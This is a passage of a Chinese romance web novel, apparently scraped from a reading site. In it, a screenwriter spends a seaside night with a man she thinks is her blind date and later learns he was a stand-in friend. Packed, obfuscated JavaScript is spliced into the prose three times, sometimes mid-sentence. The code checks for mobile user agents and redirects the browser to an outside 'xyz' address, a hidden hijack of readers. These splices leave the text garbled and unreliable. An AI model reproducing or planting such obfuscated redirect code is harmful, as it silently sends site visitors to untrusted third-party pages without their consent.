年轻女人忍俊不禁,指着虞汀白问谈显:“外地人?” 谈显顺势调侃:“北京来的。” 虞汀白嗔了谈显一眼:“你别听他胡说,我是正宗宁屿人。只是很久没有回来了。” 年轻女人嗅出了二人之间微妙的氛围,带着试探问:“你们是情侣?” 她的目光一直停留在谈显身上,这次更加直白,问出的话也毫不掩饰,饶是再迟钝也嗅出了不同寻常的味道,虞汀白终于品出了她的意图。 她没有回答,想等谈显来回答。 谈显耸了耸肩,很轻松地说:“我还在努力。” “连你都追不到,小妹妹眼光很高吧。不愧是从北京来的。”这句话很微妙地把虞汀白划出了他们的地域阵营。 尽管谈显没有接这话茬,但虞汀白的兴致还是略低了下去,谈显刚才的回答其实已经表明了他对虞汀白的意图,可他的态度轻浮又随意,又不像是多在意似的,很难说那是一个认真的答案,还是一句玩笑。 这时候,也许是得到了信号,年轻女人的朋友也围了过来,他们邀请谈显和虞汀白留下来和他们一起喝酒玩耍。 小镇青年的游戏大抵是那些,喝酒、打牌、唱歌、借着真心话大冒险聊骚。 年轻女人跟过来,将两杯酒放到他们面前,然后顺势坐到了谈显身边,问他叫什么名字。 虞汀白闷闷不乐地拿起自己面前那杯酒,才发现周围几人都在看自己,疑惑地瞧向谈显,正见谈显望着自己,年轻女人也由谈显的视线望向了虞汀白。 这微妙的气氛,虞汀白忽然舌头打结:“他叫,张运恒。” 特地让虞汀白来回答,谈显的意思再明显不过,年轻女人也不讨没趣,没有过多纠缠他,但还是问了一些他平时的爱好之类的,约他下次一起去冲浪。 虞汀白喝着自己的酒,一边享受海风一边默默地听着,待谈显很明显地结束了那边的对话,她才倾身向谈显,肩膀轻轻蹭过他手臂,小声问:“你刚才为什么不自己回答?” 谈显喝着酒,用那种你明知故问的眼神看她。 虞汀白不说话,好像在固执地等他的回答。 谈显终于说:“因为我现在只想和你约会。” 虞汀白观察过谈显,不同于CBD里紧张忙碌的西装革履精英男,或是小镇上不修边幅的健硕糙汉,谈显身上没有艰苦生活的痕迹。 他手指修长,指甲干净饱满,指腹和掌心没有一点干活的茧子。明明常年待在海岛,皮肤却生得白皙细嫩。 他很容易让人联想到《天才雷普利》里逃到海岛玩耍、不愁生计的裘德洛,没有经历过苦难,每天的生活就是变着花样地寻找乐子,和追求女人。 就像此刻,他轻松地把握着分寸和距离,近一分太多,退一步太少,那么刚好地撩拨她的心弦。 太暧昧了。 虞汀白很擅长伪装,故作镇定地撤回了视线,继续一口一口地喝手上的酒。 胸口有些闷,她很快就把手里的这杯酒喝光。 见谈显的那杯酒没喝几口就他被放在桌上,虞汀白用手肘碰了碰谈显,示意他把他的那杯酒给她。 谈显不放心地将酒递过去:“金汤力,度数不低,你能喝吗?” 有人开大了音响的声音,现场气氛热烈,声音嘈杂,谈显是凑近了在虞汀白耳边问的,呼出来的热气烘烤着她的耳朵。 虞汀白耳尖发痒,也凑到他耳边回答:“不要小看我。我告诉你,我们女编剧个个都是酒鬼。” 谈显惊讶,微微蹙了眉:“写稿也需要喝酒吗?” 虞汀白:“要先麻痹自己,才能写出麻痹老板的稿子。” 谈显默了几秒:“我以为你写的都是你喜欢的内容。” “入行前我也是这样以为的。”谈到不愿深入的话题,虞汀白低头喝闷酒,酒意顺着喉管而下,先辣后苦,果然度数不低,虞汀白忍不住皱了皱小脸。 谈显笑着将酒倒了一半在虞汀白先前的空杯里,透过氤氲的灯光,虞汀白看到了玻璃杯沿上自己淡淡的唇印。 谈显用她的杯子喝酒,很自然地将嘴唇覆盖在了她的唇印上。 虞汀白的脑子空白了一瞬,随后觉得更晕。她怀疑自己有些醉了。 谈显忽然问:“你这几年是不是没有回来参加过校友会?” 虞汀白来不及思索对方为何知道自己许久没回来,只顾着回答:“这几年比较忙。” “你总是很忙。”记忆里的虞汀白总是目光向前,拼命奔逐,好像永远到不了终点。 从前的谈显不知道她的终点在哪,如今的谈显已不再去追究。 他开玩笑:“我以为你故意不回来。毕竟穷不走亲,富不还乡。” 虞汀白也笑了起来,她不知道该怎么解释,自己其实是因为一事无成,没有脸回来。 当初和家人闹得轰轰烈烈,后来和宋方晏双双考入北电,在全校的欢庆中金灿灿地北上。 她以为她会有光明的未来,无限种可能。 可事实上,大多数人在进入社会后都会变成一枚默默无闻的螺丝钉。 她也不是例外。 叮地一声,谈显的玻璃杯轻轻地碰撞了一下她的,虞汀白抬眸瞧过去,淡黄色的灯光下,谈显笑意温柔,难得地、明确地透着一股真诚:“写作是造梦的艺术,我祝你早日写出满意又诚实的作品。” 浪花撞向海滩,女人尖叫着抱住男人,开瓶器嘎达一声撬开瓶盖,泡沫咕噜噜地翻涌而出……这片海滩的每个角落都在发生着不同的故事。 而在这里,这片安静的天幕下,虞汀白觉得自己内心的某个角落被一道潮汐温柔地冲刷而过,然后翻腾出了带着酒劲的白色气泡。 已经很久没有人会对她说这种话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793087|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢谢你的祝福。 …… 喝完了两杯酒,谈显带着虞汀白和年轻女人告别。 对方显然意犹未尽。 虞汀白也看出来了,问他:“我们就这样走了?” “嗯。”萍水相逢的邂逅,借一口酒就走,在这片海滩再正常不过。 虞汀白看了一眼身后还在望着他们的年轻女人,挑明道:“她舍不得你。” 嗯?他回头,年轻女人很开朗地朝他招了招手,似乎在欢迎他随时回去。 “你希望我回应她?”谈显问。 “我以为你对她也有兴趣。”虞汀白口是心非。 “我现在只对你感兴趣。” 虞汀白用沉默来掩饰自己瞬间的慌乱。 谈显又补充了一句:“起码在今晚结束之前是这样的。” “……” 该死的断句,害得她一颗心起起伏伏,虞汀白命令自己冷却下来,刚才有那么一瞬间她竟然希望今晚不要结束,这个荒唐的念头让她感到吃惊和恐慌。 她才和谈显认识不足半天,就已经开始舍不得他。 大脑警铃大作,风险意识启动,她知道她应该结束这场不期而遇的约会了。 靠近男人,就会不幸…… 爱上男人,更是会倒霉一辈子…… 虞汀白拿出手机,暗示意味十足地说:“快十点了。” “你想回去?” “……今晚出来太久了,我还有工作要做。” 老实说,她原本以为今天出来见一面也就是三十分钟聊天的事,没想到花出去的时间一再延长。 谈显惊讶:“你喝了酒,还要工作?” 虞汀白:“喝酒会让我的大脑更亢奋,更高效地完成工作。” 谈显有一丝头疼:“你的生活已经被工作支配了。” 其实她的工作也不是非要今晚完成,只是她习惯了高效率地生活。她已经被忙碌的工作pua到只要闲下来就会产生浪费时间的罪恶感。 所以现在,当她意识到她在为一场没有结果的约会浪费几个小时的时间,强烈的罪恶感已经侵袭了上来。 “可不可以为了我再留一会儿?”谈显垂眸望着她,那眼睛里蕴着海波,令人心软。 很难不上钩,可罪恶感还是折磨着她,虞汀白仍然有几分犹豫。 浪花冲击沙滩,带来阵阵欢声笑语,海风温柔而舒适。 谈显说:“这样的夜晚,可能不会再有了。” 对谈显心动是真的,但这份心动不会有结果也是真的。 过几天,参加完好友丁念的婚礼,她就会离开这座小岛重回忙碌的北京。 她和谈显注定天南海北,不相交地生活着。 她明白谈显为什么说这样的夜晚,或许不会再有。 可是…… 还没待虞汀白再次拒绝,谈显已经跑到了马路对面,那边蹲着一排小摊贩,卖手串的、卖明信片的、卖宁屿特色纪念品的、卖烤肠的……什么都有。 虞汀白一脸疑惑地看着谈显走到了一个卖小鸡的摊贩面前。他和对方说了几句,然后接过了对方递来的一枚硬币和一颗鸡蛋,谈显拿着那两样东西又重新跑回了虞汀白面前。 “这个是我们今天约会的纪念品。”谈显将饱满的鸡蛋递到了虞汀白手上。 “?” 虞汀白一头雾水,哭笑不得,谁会用一颗鸡蛋来当约会的纪念品?即使这颗鸡蛋确实饱满又漂亮。 然后谈显捏起了手中的那枚硬币:“你想走,但我不想放你走,那就让它来决定你的去留。” 原来是为了换硬币。虞汀白莫名有些紧张:“二分之一的概率,你不觉得有些草率吗?” 谈显笑了一下:“如果是正面或者反面,你就留下来,如果它立起来,我就放你回去。” 虞汀白愣了愣:“……你知道它不可能立起来。” “所以有些事一定会发生。” 他说这话时神采飞扬,成胸在竹,难得地锋芒毕露,虞汀白的心脏不受控地用力跳动了一下,就听叮地一声,一道银色光点自他指间飞弹起来,她与他一同盯着那枚硬币仰起了头,月色与灯光纠缠着洒在他的脸上,映出他深刻的眉目和极淡的瞳仁。 怎么会有人能把浓与淡融合得如此恰到好处,就好像他给她的两种感受,既深情,又薄情,那么微妙而自洽地出现在了同一个人身上。 当你对一个人产生了解谜般的探究欲,一切就已经在向着不可控的方向发展…… 硬币在半空中自旋,如同蹁跹飞舞的蝶,向着天空飞去,再快速下坠…… 虞汀白忽然伸手将它握住,仿佛有一只蝶在她手掌扑腾乱动,她的心也因此躁动不安,虞汀白冲动地说:“……你成功了。” 好吧,那就再放纵一回。 虞汀白说:“今晚都听你的安排。” 谈显得逞地笑了起来。 5. 5 5 夜幕低垂,水天相接,虞汀白和谈显散步到海滩边,周围尽是戏水欢笑、结伴出游的人。 虞汀白和谈显在海边欣赏夜景,海水冲刷着她的脚背,她看到一对年轻的大学生情侣亲密无间地玩着水上排球,这片海域响彻着他们的笑声。 也许是虞汀白的向往太明显,大学生情侣热情洋溢地向她和谈显发出邀请。 虽然已经决定留下来,但虞汀白还是会为浪费时间感到焦虑,而且她没有带换洗的衣服,也担心自己玩水生病会影响工作进度……总之她要考虑的太多了,然而不等她考虑清楚,谈显已经拉着她不由分说地接受了情侣的邀请。 “放空你的脑袋,享受一下这个悠闲的夜晚。”谈显说。 虞汀白在谈显的带动下加入了活动,他们分成了两个阵营对打,虞汀白和谈显一队。 虞汀白许久没有下水,技术生疏,总是拖谈显的后退,时不时地还会不小心撞进谈显怀里,害他整个人摔进了水里。 幸好对面的男方带了换洗衣物,可以借给谈显换穿。 谈显从水里站起来,笑着甩了甩湿漉漉的头发:“你在报复我吗?” 虞汀白心中有歉意,嘴上却倔强地甩锅:“早就说过我不会,是你非要我下来。” “好吧,我自己选择的人,只能一条道走到黑了。” 说话间,对面的球朝着虞汀白发了过来,虞汀白反应不及,就见谈显忽然扑过来抱住了自己,排球携带着水花撞在谈显的后背上,咚地一声,虞汀白出于本能回抱住了谈显。 对面的情侣哈哈大笑:“喂,比赛时间不准借机谈情说爱!” 虞汀白的脸烫了起来,谈显虽然松开了些许,但还是环着虞汀白,下巴抵在她肩头,夸张地松了一口气:“幸好,把人护住了。” 球打到半场,两位男士去给女士们拿水解渴。对面的女孩划水过来找虞汀白聊天,虞汀白听出她口音不是本地的。 没想到两个小朋友疫情期间还有闲心出来旅游,虞汀白说:“可惜现在岛上的传统活动都停了,等过几个月解禁了再来会更有意思。” 女孩不介意地笑着:“没关系,只要是我们两个一起出门,去哪里都可以。旅游嘛,重要的是和谁在一起。” 女孩的话令虞汀白愣了愣。 女孩又问:“你们也在等那个吗?” “什么?”虞汀白还没听到回答,谈显和男孩就回来了。 女孩一蹦一跳地跑到男孩面前接水、撒娇,虞汀白看着小情侣那旁若无人的亲密,有种替人尴尬的局促。 谈显笑笑,很是习以为常,少年人的恋爱总是大胆直接,虞汀白高中和宋方晏谈恋爱的时候,落在其他人眼里也是这般明目张胆,旁若无人。 谈显:“给你拿了一杯热可可。” 虞汀白把谈显递来的温热饮品握在手心,感觉到暖意顺着掌心钻进身体里,很熨帖,就像此刻的他。 “你到底为什么会单身?”虞汀白忍不住发出灵魂拷问。 谈显各方面条件都很优越,如果不是隔着北京这个不可逾越的阻碍,虞汀白早已沦陷。 谈显说:“这个问题不应该问我,你应该去问那个拒绝我的人。” 虞汀白很意外,如此精准到个人,难道谈显有喜欢的人,这样倒是可以说通他为什么至今单身。 只是这更让她疑惑:“有人能拒绝得了你?” 谈显笑了起来:“你要不要算一算,今天从约会开始,我挽留了你多少次?” 虞汀白反应过来:“……我不是拒绝你,我是……” “是什么?”他紧追不放。 “蓝眼泪来了!”有人高呼了一声,岸边突然骚动起来,沙滩上的人纷纷涌向滩涂,虞汀白和谈显也被吸引了注意力,他们顺着喧哗望过去,只见漆黑的海滩上,蓝色荧光自天际蔓延而来,如同银河泄下,漫进人间,无数星辰将他们环绕。 虞汀白终于知道那对小情侣在等什么。 谈显还在等虞汀白的答案,虞汀白却问:“你知道我上次追到蓝眼泪是什么时候吗?” “什么时候?” “十年前,高中的时候!”越来越多人跑进了水里,海滩变得热烈起来,虞汀白受气氛感染,不自觉地大声对他说。 虞汀白上一次看到蓝眼泪,是在高二的暑假,即将到达人生的第一个十字路口,她终于鼓起勇气告诉家人她想参加艺考,去考北电的文学系。 意料之中的,这个想法遭到了全家人的反对,没有人支持她北上艺考。虞汀白在长尾沙滩枯坐一天,迷茫于要听从家人的话走一条安稳的、大众的路,还是听从自己的内心,选择一条未知的、险象环生的路。 那天晚上,在已经很难看到蓝眼泪的炎热夏末,她却在长尾沙滩尽头的那一片海域遇见了一大片星云般绚烂夺目的荧光海。 在宁屿当地,蓝眼泪代表着好运,预示着遇到蓝眼泪的人只要随心而行,自会有好事发生。 就是那一夜她做下了决定,此后跋山涉水,独自走一条无人支持的路。 谈显逆着光,神色莫辨:“你后悔吗?” 虞汀白笑了起来:“不后悔,我从来不为自己的决定。” 她忽然拢起双手,对着大海大喊:“我是编剧,我喜欢写故事——!!” 她的喊声引来周围的目光,紧接着海滩上开始响起此起彼伏的呼喊—— “我想赚钱,我要赚十个亿——!!” “去他妈的疫情,放我出去玩——!!” “XX,妈妈爱你——!!” “XXXX是真的——!!” …… 呼喊的内容逐渐离谱起来,虞汀白哈哈大笑。 这是她今夜少数几个松弛的瞬间,让谈显想起了高中时那个大胆明媚、敢与全世界对抗的少女。 谈显心之所动,忽然握住虞汀白的手腕,将她拉进了荧光海里。 蓝色荧光被泼卷到她的身上,起初虞汀白还会躲一躲,随着谈显的“不依不饶”,她也开始扑水反击。实在泼不过谈显,虞汀白绕到谈显身后,一个跃起挂在了他背后,再大声嘲笑他,这下泼不到她了吧。 虞汀白嘚瑟的动静过大,手臂还沾着湿滑的水,一个没勾紧谈显差点脱滑下去,谈显连忙将人箍紧了护在背上,他的手臂贴着她的大腿,水流从他的皮肤蜿蜒流淌到她的皮肤。 虞汀白趴在谈显的背上,皮肉相贴,触感湿热。 她后知后觉地冷静下来,却莫名得有些不舍得下来。 谈显也没有催她,他们心照不宣,世界忽然只剩下他们的呼吸声。 片刻的安静过后,谈显让她抬头看天空。 虞汀白听话地抬起头,就见低垂的天穹挂满星辰,仿佛就要坠入海面,与蓝色荧光海融为一体。 “虞汀白。”谈显低声唤她。 “嗯?” “你现在很美,”虞汀白愣了一下,就听他接着说,“你把银河披在了身上。” 虞汀白顺着他的目光看到自己的身上,蓝色荧光悄悄缀在她的手上、腿上,仿佛无数星辰在她身上明灭闪烁。 虞汀白心头柔软,不自觉地搂紧了谈显,指着他手臂上的荧光,在他耳边低声说:“你也是。” 谈显笑着:“沧海桑田不过宇宙一瞬,我们是一起漫步过银河的人了,你说这样算不算拥有了永恒?” 好浪漫的比喻,虞汀白怦然心跳,小声说:“原来你是个诗人。” “嗯,我向我爱的人学习。” …… 从海里出来,已是几十分钟后,虞汀白还在琢磨谈显那句“我向我爱的人学习”。 哪个爱人? 不会是说她吧? 她不想让自己自作多情,可谈显今晚说的每句话,做的每件事,都让她忍不住多想。 谈显从小情侣那里借了一条浴巾将虞汀白包住,虞汀白透过二人交叠的影子发现他几乎可以将她整个人裹住。 “我们现在回去?”轮渡已经停了,谈显拿出手机联系朋友,他说他的朋友有一艘游艇们可以送她回宁屿。 虞汀白看了一眼时间,十一点多了,确实是应该回去的时间,可她竟然有些舍不得结束这场约会。 原来浪费时间,也可以如此美好。 谈显朋友的游艇大概在十几分钟后到达,他们要先到码头等待。 谈显担心虞汀白吹风,提议打车过去,但虞汀白却说:“今晚的天气很舒服,走一走也挺好的。” 谈显有些意外,开玩笑地问了一句:“你现在不着急回去了?” 虞汀白故作镇定地给自己找借口:“十一点多了,回去也提不起精神写东西了。” 他们沿着环海公路一路走下去,渐渐从热闹的海滩走到了人烟稀少的大路。 谈显问她对今晚的约会是否满意:“我是一个很无聊的人,希望今晚的约会不会让你觉得太无聊。” “你还无聊?”无论是在黑暗中共同听一首歌,还是在海边追逐蓝眼泪,虞汀白都觉得谈显太有意思了。 谈显笑了:“我真的很无聊,我曾经花五个小时数一铲土里有多少粒沙子。” 见虞汀白惊讶,他继续说,“我还花了一年时间培养了一池荧光藻。” 培养荧光藻是一件很麻烦的事,按照宁屿近海的水质情况,每升水里大概有三十多种甲藻,他需要到30米的水下收集海水,再把收集到的海水分装进试管,从中挑拣出自己想要的藻类。 这只是第一步。然后他从1.2吨的海水,上万支的试管中,只找到了三管他需要的双鞭甲藻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793088|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他用这三管珍惜的双鞭甲藻开启了培育繁殖工作。 在之后的实验中他又经历了无数次的失败,最糟糕的一次,他好不容易培养出来的几瓶荧光藻一夜之间几乎死光。这简直令他崩溃,他不得不仔细复盘是哪一步出了问题。 然而有时候可能根本没有问题。生命,和爱情一样难以预测。 …… 最后,当那一池的荧光藻在黑夜里如银河般闪烁,终于发挥出了他想要的作用时,他原谅了它们先前对他的所有折磨。 虞汀白听得瞠目结舌:“……那培养成功以后呢,你把它们怎么处理了?” 谈显回忆起了什么,平淡地一哂:“后来我把它们都放了,投进了这片海里。” “所以那些荧光藻只是为了培养而培养?” 没有任何功利目标? “你觉得我做的事情毫无意义。” 虞汀白试图掩饰自己的表情,但是谈显轻而易举地戳穿了她:“你把这句话写在了你的脸上。” 虞汀白心虚地摸了摸自己的脸,想表示理解,却又觉得实在无法理解。 谈显将她的纠结尽收眼底,眼睛眯起,看着蜿蜒的公路仿佛要伸进天际尽头:“‘意义’是人类最大的谎言。” 海风涤荡,谈显说:“如果可以选择,我要选择做一个没有意义的人。” 又回过身,一边望着虞汀白一边倒退着走,自嘲似的笑:“其实我现在就是一个这样的人。” 其实她早就隐隐感觉到他们俩拥有不同的生活态度。 他们是两种截然相反的人。 她积极努力进取,喜欢竞争激烈的北京,是世俗意义上的上进的人; 而他松弛自在,没有对未来的更高追求,用她那套价值观来衡量,就是不思进取、偏安一隅。 按理说,她并不欣赏这样的人,可不知道为什么,她却对他愈发有求知欲; 他是她生活圈子里几乎遇不到的那种人,她对他的生活方式感到新鲜,也对他这个人感到好奇。 好奇,就是爱的开始。 * 到达码头的时候,谈显的朋友已经到了。 谈显说他明天在南浦还有事,先不回宁屿,让虞汀白和他的朋友先回去。 “你放心,我朋友很安全的。”他还有心思和她开玩笑。 虞汀白有些不开心,她希望这场约会有始有终,不要在最后时刻留下遗憾,但转念想到明天谈显也要回宁屿,他们还有机会再见面,心情就又好了。 “虽然你始乱终弃把我抛下了,但是没关系,我这个人很大方的,”虞汀白向谈显伸出一只手,“回来再约。” 谈显迟疑了一下才回握住虞汀白的手,好半天没有松开,虞汀白疑惑得刚要问他怎么了,却感觉到对方忽然用了点力,她被那股力量带进了他的怀抱里。 一股安息香扑入鼻腔,男人身上的布料柔软干燥,就像他这个人,即使是拥抱也透着清爽。 海浪扑打在舱体上,发动机的嗡鸣盖过了他们的呼吸声,虞汀白怔在谈显的单手拥抱里——一个既亲近又疏离的拥抱姿势。 虞汀白握住了他的手臂,还没想好该拒绝还是该迎合,谈显却先一步放开了她。 他没有为自己的举动解释或道歉,只是说着回去要注意安全,然后返身上了岸。 船开始离岸,不远处的作业区还有工人在货运船上装卸货物,明亮的光线从谈显背后打来,给他晕上了一层毛茸茸的光圈,却看不清他的脸。他与她挥了挥手,转身离开。 谈显与游艇向着两个相反的方向而行,虞汀白忽然有些不安,大声地喊他:“张运恒!” 谈显的朋友循声从船舱里探出头,岸上的谈显却毫无反应地继续向外走。 虞汀白忍不住又喊了好几声:“张运恒!!” 谈显这才反应过来似的回过身,虞汀白却已先他一步跳上岸,几步跑到了他面前。 虞汀白气喘吁吁地问:“我叫你你为什么不理我?” “我……”他措手不及,不知道如何回答,“你找我什么事?” 其实她也不知道为什么要叫住他,只是看着他头也不回地离开,忽然有些心慌。 虞汀白反应很快,从脑后拨下了一串佛珠,满头长卷发倾泻而下,她把佛珠交到他手上:“……喏,东西忘了还你。不是说普陀山求的么。” 谈显望着手中的佛珠发愣。 虞汀白笑了一下:“明天见!” * 在擅长客套的中国人的语境里,“明天见”不一定就真的是明天见,但它代表了一种期待,表达了某一方想要继续接触的美好愿景。 虞汀白说下这三个字的时候,满心以为她和谈显还会有后续。 可没想到对于谈显而言,那一夜就是结束。 6. 6 6 相亲结束后的好几天,张家那边都没有动静,按捺不住的虞学名忍不住向男方家长询问了情况,却被告知男方表示虞汀白很好,但两个人不合适。 一记晴天霹雳打在虞学名的脑袋上,他怒火中烧,逼问虞汀白是不是又故意把相亲搞砸。 虞汀白也很懵逼,那晚不是一切都很美好吗,为什么会是这个结果? 犹豫了半天,虞汀白忍不住向好友丁念求助。 回车:你知道张运恒吗? AAA美念外贸服饰:知道啊。 宁屿这么小,岛上的人抬头不见低头见的,基本上不是亲戚,就是亲戚的亲戚。 AAA美念外贸服饰:怎么了?你在他家店里吃到蟑螂了啊? 回车:我前两天和他相亲了。 AAA美念外贸服饰:??!! AAA美念外贸服饰:你居然和张老板相亲了?那我以后去运恒大排档是不是可以免费了,他家排档蛮好吃的呢。 好纯正的吃货,虞汀白无语。 AAA美念外贸服饰:我知道了,他对你死缠烂打,但是你没看上他,你是不是想问我怎么拒绝他? ……现在的情况好像刚好相反。 见虞汀白沉默,身为好友的丁念敏锐地察觉到了不对劲。 AAA美念外贸服饰:不会是我的亲亲美女老婆被张老板给甩了吧? 回车:……注意你的用词,没在一起哪来的“甩”。 AAA美念外贸服饰:【瞳孔地震.jpg】,你竟然真的被甩了?! AAA美念外贸服饰:【震惊.jpg】 AAA美念外贸服饰:【吃瓜.jpg】 AAA美念外贸服饰:怎么个事啊? 虞汀白把那天相亲的情况简单地描述了一下。 AAA美念外贸服饰:卧槽?看不出来张老板这么浪漫啊,简直是钓系大师? 很难和她脑子里那个“张哥只爱钱”的混蛋张运恒联系在一起。 虞汀白也疑惑,怎么丁念口中的“张运恒”和她那天见到的“张运恒”大相径庭? 回车:你先帮我分析一下他为什么拒绝我。 丁念想来想去。 AAA美念外贸服饰:我跟你说结婚让我发现男人也挺难懂的,我们在这儿猜来猜去,不如你直接问他。 其实虞汀白手上有“张运恒”的手机号,如果想问清楚,自然是可以联系上他的。 可她很犹豫,一来是自尊心作祟,二来是等到丁念的婚礼办完她就要飞回北京,她和张运恒很难有后续发展。 为了一个不会有结果的人,值得放下自己的自尊心吗? 丁念显然也懂她的犹豫。 AAA美念外贸服饰:老婆,这样吧,我明晚不是要开单身派对吗,我帮你把他约出来,到时候你们俩当面聊这个事。 不愧是好闺蜜。虞汀白感动。 AAA美念外贸服饰:【骄傲.jpg】【这个世界没我不能转.jpg】 * 丁念的单身派对定在了长尾沙滩,隔日傍晚,丁念提前开车过来接上虞汀白去沙滩边做准备。 几年不见,丁念已经买了自己的车,一辆奶茶粉的宝马,虽然说话做派还是那副娇滴滴的样儿,但开车的老练透露出她已然是一个富足自由、完成了社会化的成年女性。 反观虞汀白,这几年埋首于北京,除了苦苦写稿什么也不会,别说车子了,连驾照都没有。 “车子是饼哥买的。”丁念从储物盒里拿出太阳镜戴上,不让自己晒到一点。 离家太久,虞汀白此刻很享受宁屿的阳光,降下车窗一边吹海风晒太阳一边乐不可支:“怎么还叫他饼哥啊?” 丁念和钟咏飞爱情长跑七年,以前丁念总说钟咏飞喜欢给她画大饼,什么买车买房、婚后不和婆婆住、婚纱照请网红摄影师大朝来拍之类的…… 可是多年过去,没一个实现的,所以丁念给他的微信备注是“画饼专家”,虞汀白也跟着喊他“饼哥”。 “现在改了啊,”丁念眉飞色舞,“现在给他改名叫‘神笔马良’了。” 从画饼专家到神笔马良,质的飞跃,可见丁念这小日子是过得滋润了。 丁念扬眉:“你要是羡慕就赶快找个老公,别老坚持你那套独立自主女强人经。要我说,女性魅力也是能力,你这张漂亮脸蛋就是最好的通行证。” 虞汀白听得耳朵长茧:“我爸妈找你当说客了?” “我是心疼你,你看看我们同学现在还有几个单身的,再看看你自己,为了个破工作身体都要搭进去了。” 丁念降下点墨镜打量虞汀白:“说真的,你没前两年水灵了,再好的底子也经不起这么折腾。” 别的还好说,要是说她变丑那可真是戳到了痛点,虞汀白当即紧张起来:“我变丑了?” 不愧是她好朋友,可以穷可以苦,绝对不能丑,丁念很高兴:“没丑,还是和以前一样漂亮,今晚我给你介绍几个钻石王老五。” 虞汀白:“……没兴趣。” “钻石王老五没兴趣,张运恒总有兴趣吧?”丁念说,“宁屿现在的餐饮店都关门了,张运恒这个生意鬼才搞了个烧烤送货到点的服务,今晚这个沙滩派对的烧烤都由他家负责。过一会儿你就能见到他了。” 听到这里,虞汀白不由得紧张期待了起来。 上次出门相亲打扮得太过随意,今天她特地装扮了一番,绑带修身长裙,配裸色尖头凉鞋,衬得她白皙细嫩,像一颗新鲜饱满的果子;蓬松的长卷发也用印花丝巾松松地缠绑在脑后,既有轻熟的女人味,又有海岛风情,整个人精致玲珑,看似随意,其实处处藏着小心机。 丁念又和虞汀白聊了些张运恒的事。 比如,张运恒从小就很混,剃着板寸,凶神恶煞,满脸写着不好惹,所以尽管他和母亲孤儿寡母相依为命,但没有人敢欺负他们母子俩。 高二时,他因为一场斗殴退学,后来索性也不去读书,直接继承了张母的小摊车,把一个卖烤生蚝的小摊车渐渐做成了一家在宁屿声名鹊起的海边连锁大排档。 总而言之,人虽混了点,但很勤奋,也很能吃苦,是个有本事的人。 虞汀白听着她的叙述,总觉得她口中的张运恒很陌生,和自己那天见的人很难联想到一起。 不过人总是会变的,高中时是个被退学的小混混,现在也可能是一个有情趣的海鲜排档大老板。 就像她以前是一个张扬自我、众星捧月的天之骄女,如今也只是一个平平无奇、朝九晚五领一份死工资的普通小编剧。 岁月会改变太多事,没有什么是永恒的。 到达长尾沙滩时,几名运恒大排档的员工正在准备烤具和食材。 虞汀白帮忙丁念清点物资,发现少了酒。 “酒待会儿饼哥和谈显送过来。” “谈显?” “饼哥的朋友,他家里酒多,什么新的旧的玩意儿都有。”丁念朝她不怀好意地扬了一下眉,“你好久没回来了,让你见识见识我们现在的宁屿一枝花。” 虞汀白笑了一下,还真对这支花产生了点好奇,不过她最在意的,还是张运恒。 这人怎么还没来。 正想着,就听丁念忽然朝她身后大喊:“张老板,这里——!” 虞汀白陡然紧张起来,说来就来,一点心理准备也没有! 丁念看见她悄悄地吸了一口气,笑话她:“在北京越混越没出息了呀虞汀白。” “是不如您浸淫爱情七年……”她回嘴,听到脚步声已经由远及近,到达了她身后。 虞汀白挂起笑容转过身去,却错愕地愣住。 不是他。 不是那天见到的人。 “新婚快乐啊,丁总。”生意场上的人就是这样,喊人不是“总”就是“哥”、“姐”的,嘴甜的要命,哪怕丁念只是一个二流服装店老板。 张运恒视线再转到虞汀白,面对美女自然是好脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793089|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,“这位是?”总觉得有点眼熟。 “虞汀白。” 虞汀白自报家门,亲眼看着张运恒的笑容卡顿了一下,然后他心虚又友好地跟她打了声招呼:“你好哈……” “你是……张运恒?”虞汀白还是不敢相信,干巴巴地问。 他明明是那天晚上开游艇送她回去的人,他应该是“张运恒”的朋友! 丁念已经偷偷溜走,把二人空间留给他们,张运恒找不到求助对象,理亏地摸了下寸头,心里暗骂宁屿真他妈小啊,再心虚地笑:“不好意思哈,那天是我骗了你,那天我生意上有点事,走不开,我又不想拂了两家大人的好意,刚好我朋友有时间,我就让他替我过去了。” “……你朋友是?” “谈显。”听她主动问起,张运恒意味深长地回答,察觉到这可能又是一个沦陷在谈显魅力里的无辜单纯的小女人。 果然不能放虎归山,谈显这厮就是出来祸害小姑娘的。 耽误相亲事小,要是欺骗了人家姑娘的感情,那可就影响两家人的感情了。 张运恒连忙解释:“你放心,谈显对你绝对没有别的意思,他就是帮我一个忙,你别误会。” 别误会? 所以谈显只是在配合表演,扮演一个尽心称职的相亲对象? 难怪事后他切割得这么彻底,一点消息都没有再发给她。 